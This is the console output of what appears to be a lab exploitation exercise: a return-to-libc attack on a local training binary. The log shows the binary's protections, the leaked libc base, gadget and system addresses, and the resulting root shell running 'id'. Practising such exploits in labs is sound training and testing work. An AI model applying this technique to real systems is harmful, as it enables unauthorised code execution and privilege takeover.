[*] '/root/techlabs/verify-pwn-b/6.1/ret2libc'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
    Debuginfo:  Yes
[x] Starting local process './ret2libc'
[+] Starting local process './ret2libc': pid 427290
[*] '/usr/lib/x86_64-linux-gnu/libc.so.6'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    FORTIFY:    Enabled
    SHSTK:      Enabled
    IBT:        Enabled
[*] libc base = 0x700b2f200000
[*] Loaded 5 cached gadgets for './ret2libc'
[*] Loaded 112 cached gadgets for '/usr/lib/x86_64-linux-gnu/libc.so.6'
[*] pop rdi ; ret = 0x700b2f30c08d
[*] system        = 0x700b2f258750
[*] /bin/sh       = 0x700b2f3cc42f
[x] Receiving all data
[x] Receiving all data: 0B
[x] Receiving all data: 16B
[x] Receiving all data: 55B
[x] Receiving all data: 180B
[x] Receiving all data: 190B
[+] Receiving all data: Done (190B)
[*] Stopped process './ret2libc' (pid 427290)
===PWNED_6_1===
uid=0(root) gid=0(root) groups=0(root)
Linux ubuntu24 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux
===END===

[+] ret2libc OK: da lay shell va chay id
